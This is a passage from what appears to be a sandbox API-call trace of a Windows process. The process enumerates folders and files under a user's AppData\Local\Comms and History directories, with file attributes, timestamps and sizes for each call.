nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.235] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x241f3052, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x241f3052, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.235] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x41637d0, ftLastWriteTime.dwHighDateTime=0x1d8a64c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Temp", cAlternateFileName="")) returned 1 [0209.236] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Unistore", cAlternateFileName="")) returned 1 [0209.236] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="UnistoreDB", cAlternateFileName="UNISTO~1")) returned 1 [0209.237] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dd520 | out: lpFindFileData=0x1e0dd520*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.237] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd780) returned 1 [0209.237] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dd740) returned 1 [0209.237] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.237] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x2e [0209.237] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\temp\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469a60 [0209.238] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x41637d0, ftLastAccessTime.dwHighDateTime=0x1d8a64c, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.239] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b315521, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e26d5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0209.239] FindNextFileW (in: hFindFile=0x1d469a60, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.239] FindClose (in: hFindFile=0x1d469a60 | out: hFindFile=0x1d469a60) returned 1 [0209.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.239] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.239] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.239] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp", lpFilePart=0x0) returned 0x2e [0209.239] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Temp\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\temp\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469520 [0209.240] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x241f3052, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e259ad, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.240] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b315521, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e26d5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 1 [0209.240] FindNextFileW (in: hFindFile=0x1d469520, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b315521, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x77e259ad, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0x77e26d5d, ftLastWriteTime.dwHighDateTime=0x1d8a73a, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="CalendarCache.dat", cAlternateFileName="CALEND~1.DAT")) returned 0 [0209.240] FindClose (in: hFindFile=0x1d469520 | out: hFindFile=0x1d469520) returned 1 [0209.240] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.241] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.241] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.241] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x32 [0209.241] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistore\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.241] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.242] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.242] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.242] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.242] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.242] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore", lpFilePart=0x0) returned 0x32 [0209.242] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\Unistore\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistore\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d46a120 [0209.243] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.243] FindNextFileW (in: hFindFile=0x1d46a120, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c4973c, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23c4973c, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x23c4973c, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0209.243] FindClose (in: hFindFile=0x1d46a120 | out: hFindFile=0x1d46a120) returned 1 [0209.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.243] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.243] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.243] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x34 [0209.243] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistoredb\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d469220 [0209.245] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.245] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23a0d188, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23a0d188, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x600000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0209.245] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239e71ab, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239e71ab, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x9867d3ae, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.chk", cAlternateFileName="")) returned 1 [0209.245] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.log", cAlternateFileName="")) returned 1 [0209.246] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0209.246] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0209.246] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xdd289e64, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.log", cAlternateFileName="")) returned 1 [0209.246] FindNextFileW (in: hFindFile=0x1d469220, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0209.246] FindClose (in: hFindFile=0x1d469220 | out: hFindFile=0x1d469220) returned 1 [0209.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.247] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.247] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd090) returned 1 [0209.247] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", nBufferLength=0x105, lpBuffer=0x1e0dcb70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB", lpFilePart=0x0) returned 0x34 [0209.247] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Comms\\UnistoreDB\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\comms\\unistoredb\\*"), lpFindFileData=0x1e0dcda0 | out: lpFindFileData=0x1e0dcda0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1d4697c0 [0209.249] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2397496d, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x304e1230, ftLastAccessTime.dwHighDateTime=0x1d8a73a, ftLastWriteTime.dwLowDateTime=0xe231b8a5, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0209.249] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x23a0d188, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x23a0d188, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x600000, dwReserved0=0x0, dwReserved1=0x0, cFileName="store.vol", cAlternateFileName="")) returned 1 [0209.249] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239e71ab, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239e71ab, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x9867d3ae, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.chk", cAlternateFileName="")) returned 1 [0209.249] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xe22f57b6, ftLastWriteTime.dwHighDateTime=0x1d8a73b, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USS.log", cAlternateFileName="")) returned 1 [0209.249] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00001.jrs", cAlternateFileName="USSRES~1.JRS")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x239c0dc2, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x239c0dc2, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0x239c0dc2, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USSres00002.jrs", cAlternateFileName="USSRES~2.JRS")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xdd289e64, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.log", cAlternateFileName="")) returned 1 [0209.250] FindNextFileW (in: hFindFile=0x1d4697c0, lpFindFileData=0x1e0dcd60 | out: lpFindFileData=0x1e0dcd60*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2399ab8b, ftCreationTime.dwHighDateTime=0x1d70074, ftLastAccessTime.dwLowDateTime=0x2399ab8b, ftLastAccessTime.dwHighDateTime=0x1d70074, ftLastWriteTime.dwLowDateTime=0xdd289e64, ftLastWriteTime.dwHighDateTime=0x1d70074, nFileSizeHigh=0x0, nFileSizeLow=0x300000, dwReserved0=0x0, dwReserved1=0x0, cFileName="USStmp.log", cAlternateFileName="")) returned 0 [0209.250] FindClose (in: hFindFile=0x1d4697c0 | out: hFindFile=0x1d4697c0) returned 1 [0209.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcfc0) returned 1 [0209.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1e0dcf80) returned 1 [0209.357] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1e0dd850) returned 1 [0209.357] GetFullPathNameW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", nBufferLength=0x105, lpBuffer=0x1e0dd330, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History", lpFilePart=0x0) returned 0x2b [0209.357] FindFirstFileW (in: lpFileName="C:\\Users\\RDhJ0CNFevzX\\AppData\\Local\\History\\*" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\history\\*"), lpFindFileData=0x1e0dd560 | out: 